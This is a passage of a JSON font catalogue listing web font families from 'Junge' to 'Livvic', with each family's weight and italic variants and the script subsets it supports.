400"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Junge":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"}]},"Jura":{"variants":[{"id":"300","name":"Book 300"},{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"600","name":"Semi-Bold 600"},{"id":"700","name":"Bold 700"}],"subsets":[{"id":"cyrillic","name":"Cyrillic"},{"id":"cyrillic-ext","name":"Cyrillic Extended"},{"id":"greek","name":"Greek"},{"id":"greek-ext","name":"Greek Extended"},{"id":"kayah-li","name":"Kayah-li"},{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"vietnamese","name":"Vietnamese"}]},"Just Another Hand":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"}]},"Just Me Again Down Here":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"K2D":{"variants":[{"id":"100","name":"Ultra-Light 100"},{"id":"200","name":"Light 200"},{"id":"300","name":"Book 300"},{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"600","name":"Semi-Bold 600"},{"id":"700","name":"Bold 700"},{"id":"800","name":"Extra-Bold 800"},{"id":"100italic","name":"Ultra-Light 100 Italic"},{"id":"200italic","name":"Light 200 Italic"},{"id":"300italic","name":"Book 300 Italic"},{"id":"400italic","name":"Normal 400 Italic"},{"id":"500italic","name":"Medium 500 Italic"},{"id":"600italic","name":"Semi-Bold 600 Italic"},{"id":"700italic","name":"Bold 700 Italic"},{"id":"800italic","name":"Extra-Bold 800 Italic"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"thai","name":"Thai"},{"id":"vietnamese","name":"Vietnamese"}]},"Kadwa":{"variants":[{"id":"400","name":"Normal 400"},{"id":"700","name":"Bold 700"}],"subsets":[{"id":"devanagari","name":"Devanagari"},{"id":"latin","name":"Latin"}]},"Kaisei Decol":{"variants":[{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"700","name":"Bold 700"}],"subsets":[{"id":"cyrillic","name":"Cyrillic"},{"id":"japanese","name":"Japanese"},{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Kaisei HarunoUmi":{"variants":[{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"700","name":"Bold 700"}],"subsets":[{"id":"cyrillic","name":"Cyrillic"},{"id":"japanese","name":"Japanese"},{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Kaisei Opti":{"variants":[{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"700","name":"Bold 700"}],"subsets":[{"id":"cyrillic","name":"Cyrillic"},{"id":"japanese","name":"Japanese"},{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Kaisei Tokumin":{"variants":[{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"700","name":"Bold 700"},{"id":"800","name":"Extra-Bold 800"}],"subsets":[{"id":"cyrillic","name":"Cyrillic"},{"id":"japanese","name":"Japanese"},{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Kalam":{"variants":[{"id":"300","name":"Book 300"},{"id":"400","name":"Normal 400"},{"id":"700","name":"Bold 700"}],"subsets":[{"id":"devanagari","name":"Devanagari"},{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Kameron":{"variants":[{"id":"400","name":"Normal 400"},{"id":"700","name":"Bold 700"}],"subsets":[{"id":"latin","name":"Latin"}]},"Kanit":{"variants":[{"id":"100","name":"Ultra-Light 100"},{"id":"200","name":"Light 200"},{"id":"300","name":"Book 300"},{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"600","name":"Semi-Bold 600"},{"id":"700","name":"Bold 700"},{"id":"800","name":"Extra-Bold 800"},{"id":"900","name":"Ultra-Bold 900"},{"id":"100italic","name":"Ultra-Light 100 Italic"},{"id":"200italic","name":"Light 200 Italic"},{"id":"300italic","name":"Book 300 Italic"},{"id":"400italic","name":"Normal 400 Italic"},{"id":"500italic","name":"Medium 500 Italic"},{"id":"600italic","name":"Semi-Bold 600 Italic"},{"id":"700italic","name":"Bold 700 Italic"},{"id":"800italic","name":"Extra-Bold 800 Italic"},{"id":"900italic","name":"Ultra-Bold 900 Italic"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"thai","name":"Thai"},{"id":"vietnamese","name":"Vietnamese"}]},"Kantumruy":{"variants":[{"id":"300","name":"Book 300"},{"id":"400","name":"Normal 400"},{"id":"700","name":"Bold 700"}],"subsets":[{"id":"khmer","name":"Khmer"}]},"Karantina":{"variants":[{"id":"300","name":"Book 300"},{"id":"400","name":"Normal 400"},{"id":"700","name":"Bold 700"}],"subsets":[{"id":"hebrew","name":"Hebrew"},{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Karla":{"variants":[{"id":"200","name":"Light 200"},{"id":"300","name":"Book 300"},{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"600","name":"Semi-Bold 600"},{"id":"700","name":"Bold 700"},{"id":"800","name":"Extra-Bold 800"},{"id":"200italic","name":"Light 200 Italic"},{"id":"300italic","name":"Book 300 Italic"},{"id":"400italic","name":"Normal 400 Italic"},{"id":"500italic","name":"Medium 500 Italic"},{"id":"600italic","name":"Semi-Bold 600 Italic"},{"id":"700italic","name":"Bold 700 Italic"},{"id":"800italic","name":"Extra-Bold 800 Italic"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Karma":{"variants":[{"id":"300","name":"Book 300"},{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"600","name":"Semi-Bold 600"},{"id":"700","name":"Bold 700"}],"subsets":[{"id":"devanagari","name":"Devanagari"},{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Katibeh":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"arabic","name":"Arabic"},{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Kaushan Script":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Kavivanar":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"tamil","name":"Tamil"}]},"Kavoon":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Kdam Thmor":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"khmer","name":"Khmer"}]},"Keania One":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Kelly Slab":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"cyrillic","name":"Cyrillic"},{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Kenia":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"}]},"Khand":{"variants":[{"id":"300","name":"Book 300"},{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"600","name":"Semi-Bold 600"},{"id":"700","name":"Bold 700"}],"subsets":[{"id":"devanagari","name":"Devanagari"},{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Khmer":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"khmer","name":"Khmer"}]},"Khula":{"variants":[{"id":"300","name":"Book 300"},{"id":"400","name":"Normal 400"},{"id":"600","name":"Semi-Bold 600"},{"id":"700","name":"Bold 700"},{"id":"800","name":"Extra-Bold 800"}],"subsets":[{"id":"devanagari","name":"Devanagari"},{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Kings":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"vietnamese","name":"Vietnamese"}]},"Kirang Haerang":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"korean","name":"Korean"},{"id":"latin","name":"Latin"}]},"Kite One":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"}]},"Kiwi Maru":{"variants":[{"id":"300","name":"Book 300"},{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"}],"subsets":[{"id":"cyrillic","name":"Cyrillic"},{"id":"japanese","name":"Japanese"},{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Klee One":{"variants":[{"id":"400","name":"Normal 400"},{"id":"600","name":"Semi-Bold 600"}],"subsets":[{"id":"cyrillic","name":"Cyrillic"},{"id":"greek-ext","name":"Greek Extended"},{"id":"japanese","name":"Japanese"},{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Knewave":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"KoHo":{"variants":[{"id":"200","name":"Light 200"},{"id":"300","name":"Book 300"},{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"600","name":"Semi-Bold 600"},{"id":"700","name":"Bold 700"},{"id":"200italic","name":"Light 200 Italic"},{"id":"300italic","name":"Book 300 Italic"},{"id":"400italic","name":"Normal 400 Italic"},{"id":"500italic","name":"Medium 500 Italic"},{"id":"600italic","name":"Semi-Bold 600 Italic"},{"id":"700italic","name":"Bold 700 Italic"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"thai","name":"Thai"},{"id":"vietnamese","name":"Vietnamese"}]},"Kodchasan":{"variants":[{"id":"200","name":"Light 200"},{"id":"300","name":"Book 300"},{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"600","name":"Semi-Bold 600"},{"id":"700","name":"Bold 700"},{"id":"200italic","name":"Light 200 Italic"},{"id":"300italic","name":"Book 300 Italic"},{"id":"400italic","name":"Normal 400 Italic"},{"id":"500italic","name":"Medium 500 Italic"},{"id":"600italic","name":"Semi-Bold 600 Italic"},{"id":"700italic","name":"Bold 700 Italic"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"thai","name":"Thai"},{"id":"vietnamese","name":"Vietnamese"}]},"Koh Santepheap":{"variants":[{"id":"100","name":"Ultra-Light 100"},{"id":"300","name":"Book 300"},{"id":"400","name":"Normal 400"},{"id":"700","name":"Bold 700"},{"id":"900","name":"Ultra-Bold 900"}],"subsets":[{"id":"khmer","name":"Khmer"},{"id":"latin","name":"Latin"}]},"Kolker Brush":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"vietnamese","name":"Vietnamese"}]},"Kosugi":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"cyrillic","name":"Cyrillic"},{"id":"japanese","name":"Japanese"},{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Kosugi Maru":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"cyrillic","name":"Cyrillic"},{"id":"japanese","name":"Japanese"},{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Kotta One":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Koulen":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"khmer","name":"Khmer"},{"id":"latin","name":"Latin"}]},"Kranky":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"}]},"Kreon":{"variants":[{"id":"300","name":"Book 300"},{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"600","name":"Semi-Bold 600"},{"id":"700","name":"Bold 700"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Kristi":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"}]},"Krona One":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Krub":{"variants":[{"id":"200","name":"Light 200"},{"id":"300","name":"Book 300"},{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"600","name":"Semi-Bold 600"},{"id":"700","name":"Bold 700"},{"id":"200italic","name":"Light 200 Italic"},{"id":"300italic","name":"Book 300 Italic"},{"id":"400italic","name":"Normal 400 Italic"},{"id":"500italic","name":"Medium 500 Italic"},{"id":"600italic","name":"Semi-Bold 600 Italic"},{"id":"700italic","name":"Bold 700 Italic"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"thai","name":"Thai"},{"id":"vietnamese","name":"Vietnamese"}]},"Kufam":{"variants":[{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"600","name":"Semi-Bold 600"},{"id":"700","name":"Bold 700"},{"id":"800","name":"Extra-Bold 800"},{"id":"900","name":"Ultra-Bold 900"},{"id":"400italic","name":"Normal 400 Italic"},{"id":"500italic","name":"Medium 500 Italic"},{"id":"600italic","name":"Semi-Bold 600 Italic"},{"id":"700italic","name":"Bold 700 Italic"},{"id":"800italic","name":"Extra-Bold 800 Italic"},{"id":"900italic","name":"Ultra-Bold 900 Italic"}],"subsets":[{"id":"arabic","name":"Arabic"},{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"vietnamese","name":"Vietnamese"}]},"Kulim Park":{"variants":[{"id":"200","name":"Light 200"},{"id":"300","name":"Book 300"},{"id":"400","name":"Normal 400"},{"id":"600","name":"Semi-Bold 600"},{"id":"700","name":"Bold 700"},{"id":"200italic","name":"Light 200 Italic"},{"id":"300italic","name":"Book 300 Italic"},{"id":"400italic","name":"Normal 400 Italic"},{"id":"600italic","name":"Semi-Bold 600 Italic"},{"id":"700italic","name":"Bold 700 Italic"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Kumar One":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"gujarati","name":"Gujarati"},{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Kumar One Outline":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"gujarati","name":"Gujarati"},{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Kumbh Sans":{"variants":[{"id":"100","name":"Ultra-Light 100"},{"id":"200","name":"Light 200"},{"id":"300","name":"Book 300"},{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"600","name":"Semi-Bold 600"},{"id":"700","name":"Bold 700"},{"id":"800","name":"Extra-Bold 800"},{"id":"900","name":"Ultra-Bold 900"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Kurale":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"cyrillic","name":"Cyrillic"},{"id":"cyrillic-ext","name":"Cyrillic Extended"},{"id":"devanagari","name":"Devanagari"},{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"La Belle Aurore":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"}]},"Lacquer":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"}]},"Laila":{"variants":[{"id":"300","name":"Book 300"},{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"600","name":"Semi-Bold 600"},{"id":"700","name":"Bold 700"}],"subsets":[{"id":"devanagari","name":"Devanagari"},{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Lakki Reddy":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"telugu","name":"Telugu"}]},"Lalezar":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"arabic","name":"Arabic"},{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"vietnamese","name":"Vietnamese"}]},"Lancelot":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Langar":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"gurmukhi","name":"Gurmukhi"},{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Lateef":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"arabic","name":"Arabic"},{"id":"latin","name":"Latin"}]},"Lato":{"variants":[{"id":"100","name":"Ultra-Light 100"},{"id":"300","name":"Book 300"},{"id":"400","name":"Normal 400"},{"id":"700","name":"Bold 700"},{"id":"900","name":"Ultra-Bold 900"},{"id":"100italic","name":"Ultra-Light 100 Italic"},{"id":"300italic","name":"Book 300 Italic"},{"id":"400italic","name":"Normal 400 Italic"},{"id":"700italic","name":"Bold 700 Italic"},{"id":"900italic","name":"Ultra-Bold 900 Italic"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Lavishly Yours":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"vietnamese","name":"Vietnamese"}]},"League Gothic":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"vietnamese","name":"Vietnamese"}]},"League Script":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"}]},"League Spartan":{"variants":[{"id":"100","name":"Ultra-Light 100"},{"id":"200","name":"Light 200"},{"id":"300","name":"Book 300"},{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"600","name":"Semi-Bold 600"},{"id":"700","name":"Bold 700"},{"id":"800","name":"Extra-Bold 800"},{"id":"900","name":"Ultra-Bold 900"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"vietnamese","name":"Vietnamese"}]},"Leckerli One":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"}]},"Ledger":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"cyrillic","name":"Cyrillic"},{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Lekton":{"variants":[{"id":"400","name":"Normal 400"},{"id":"700","name":"Bold 700"},{"id":"400italic","name":"Normal 400 Italic"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Lemon":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"}]},"Lemonada":{"variants":[{"id":"300","name":"Book 300"},{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"600","name":"Semi-Bold 600"},{"id":"700","name":"Bold 700"}],"subsets":[{"id":"arabic","name":"Arabic"},{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"vietnamese","name":"Vietnamese"}]},"Lexend":{"variants":[{"id":"100","name":"Ultra-Light 100"},{"id":"200","name":"Light 200"},{"id":"300","name":"Book 300"},{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"600","name":"Semi-Bold 600"},{"id":"700","name":"Bold 700"},{"id":"800","name":"Extra-Bold 800"},{"id":"900","name":"Ultra-Bold 900"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"vietnamese","name":"Vietnamese"}]},"Lexend Deca":{"variants":[{"id":"100","name":"Ultra-Light 100"},{"id":"200","name":"Light 200"},{"id":"300","name":"Book 300"},{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"600","name":"Semi-Bold 600"},{"id":"700","name":"Bold 700"},{"id":"800","name":"Extra-Bold 800"},{"id":"900","name":"Ultra-Bold 900"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"vietnamese","name":"Vietnamese"}]},"Lexend Exa":{"variants":[{"id":"100","name":"Ultra-Light 100"},{"id":"200","name":"Light 200"},{"id":"300","name":"Book 300"},{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"600","name":"Semi-Bold 600"},{"id":"700","name":"Bold 700"},{"id":"800","name":"Extra-Bold 800"},{"id":"900","name":"Ultra-Bold 900"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"vietnamese","name":"Vietnamese"}]},"Lexend Giga":{"variants":[{"id":"100","name":"Ultra-Light 100"},{"id":"200","name":"Light 200"},{"id":"300","name":"Book 300"},{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"600","name":"Semi-Bold 600"},{"id":"700","name":"Bold 700"},{"id":"800","name":"Extra-Bold 800"},{"id":"900","name":"Ultra-Bold 900"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"vietnamese","name":"Vietnamese"}]},"Lexend Mega":{"variants":[{"id":"100","name":"Ultra-Light 100"},{"id":"200","name":"Light 200"},{"id":"300","name":"Book 300"},{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"600","name":"Semi-Bold 600"},{"id":"700","name":"Bold 700"},{"id":"800","name":"Extra-Bold 800"},{"id":"900","name":"Ultra-Bold 900"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"vietnamese","name":"Vietnamese"}]},"Lexend Peta":{"variants":[{"id":"100","name":"Ultra-Light 100"},{"id":"200","name":"Light 200"},{"id":"300","name":"Book 300"},{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"600","name":"Semi-Bold 600"},{"id":"700","name":"Bold 700"},{"id":"800","name":"Extra-Bold 800"},{"id":"900","name":"Ultra-Bold 900"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"vietnamese","name":"Vietnamese"}]},"Lexend Tera":{"variants":[{"id":"100","name":"Ultra-Light 100"},{"id":"200","name":"Light 200"},{"id":"300","name":"Book 300"},{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"600","name":"Semi-Bold 600"},{"id":"700","name":"Bold 700"},{"id":"800","name":"Extra-Bold 800"},{"id":"900","name":"Ultra-Bold 900"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"vietnamese","name":"Vietnamese"}]},"Lexend Zetta":{"variants":[{"id":"100","name":"Ultra-Light 100"},{"id":"200","name":"Light 200"},{"id":"300","name":"Book 300"},{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"600","name":"Semi-Bold 600"},{"id":"700","name":"Bold 700"},{"id":"800","name":"Extra-Bold 800"},{"id":"900","name":"Ultra-Bold 900"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"vietnamese","name":"Vietnamese"}]},"Libre Barcode 128":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"}]},"Libre Barcode 128 Text":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"}]},"Libre Barcode 39":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"}]},"Libre Barcode 39 Extended":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"}]},"Libre Barcode 39 Extended Text":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"}]},"Libre Barcode 39 Text":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"}]},"Libre Barcode EAN13 Text":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"}]},"Libre Baskerville":{"variants":[{"id":"400","name":"Normal 400"},{"id":"700","name":"Bold 700"},{"id":"400italic","name":"Normal 400 Italic"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Libre Bodoni":{"variants":[{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"600","name":"Semi-Bold 600"},{"id":"700","name":"Bold 700"},{"id":"400italic","name":"Normal 400 Italic"},{"id":"500italic","name":"Medium 500 Italic"},{"id":"600italic","name":"Semi-Bold 600 Italic"},{"id":"700italic","name":"Bold 700 Italic"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"vietnamese","name":"Vietnamese"}]},"Libre Caslon Display":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Libre Caslon Text":{"variants":[{"id":"400","name":"Normal 400"},{"id":"700","name":"Bold 700"},{"id":"400italic","name":"Normal 400 Italic"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Libre Franklin":{"variants":[{"id":"100","name":"Ultra-Light 100"},{"id":"200","name":"Light 200"},{"id":"300","name":"Book 300"},{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"600","name":"Semi-Bold 600"},{"id":"700","name":"Bold 700"},{"id":"800","name":"Extra-Bold 800"},{"id":"900","name":"Ultra-Bold 900"},{"id":"100italic","name":"Ultra-Light 100 Italic"},{"id":"200italic","name":"Light 200 Italic"},{"id":"300italic","name":"Book 300 Italic"},{"id":"400italic","name":"Normal 400 Italic"},{"id":"500italic","name":"Medium 500 Italic"},{"id":"600italic","name":"Semi-Bold 600 Italic"},{"id":"700italic","name":"Bold 700 Italic"},{"id":"800italic","name":"Extra-Bold 800 Italic"},{"id":"900italic","name":"Ultra-Bold 900 Italic"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"vietnamese","name":"Vietnamese"}]},"Licorice":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"vietnamese","name":"Vietnamese"}]},"Life Savers":{"variants":[{"id":"400","name":"Normal 400"},{"id":"700","name":"Bold 700"},{"id":"800","name":"Extra-Bold 800"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Lilita One":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Lily Script One":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Limelight":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Linden Hill":{"variants":[{"id":"400","name":"Normal 400"},{"id":"400italic","name":"Normal 400 Italic"}],"subsets":[{"id":"latin","name":"Latin"}]},"Literata":{"variants":[{"id":"200","name":"Light 200"},{"id":"300","name":"Book 300"},{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"600","name":"Semi-Bold 600"},{"id":"700","name":"Bold 700"},{"id":"800","name":"Extra-Bold 800"},{"id":"900","name":"Ultra-Bold 900"},{"id":"200italic","name":"Light 200 Italic"},{"id":"300italic","name":"Book 300 Italic"},{"id":"400italic","name":"Normal 400 Italic"},{"id":"500italic","name":"Medium 500 Italic"},{"id":"600italic","name":"Semi-Bold 600 Italic"},{"id":"700italic","name":"Bold 700 Italic"},{"id":"800italic","name":"Extra-Bold 800 Italic"},{"id":"900italic","name":"Ultra-Bold 900 Italic"}],"subsets":[{"id":"cyrillic","name":"Cyrillic"},{"id":"cyrillic-ext","name":"Cyrillic Extended"},{"id":"greek","name":"Greek"},{"id":"greek-ext","name":"Greek Extended"},{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"vietnamese","name":"Vietnamese"}]},"Liu Jian Mao Cao":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"chinese-simplified","name":"Chinese-simplified"},{"id":"latin","name":"Latin"}]},"Livvic":{"variants":[{"id":"100","name":"Ultra-Light 100"},{"id":"200","name":"Light 200"},{"id":"300","name":"Book 300"},{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"600","name":"Semi-Bold 600"},{"id":"700","name":"Bold 700"},{"id":"900","name":"Ultra-Bold 900"},{"id":"100italic","name":"Ultra-Light 100 Italic"},{"id":"200italic","name":"Light 200 Italic"},{"id":"300italic","name":"Book 300 Italic"},{"id":"400italic","name":"Normal 400 Italic"},{"id":"500italic","name":"Medium 500 Italic"},{"id":"600italic","name":"Semi-Bold 600 Italic"},{"id":"700italic","name":"Bold 700 Italic"},{"id":"900italic","name":"Ultra-Bold 900 Italic"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin 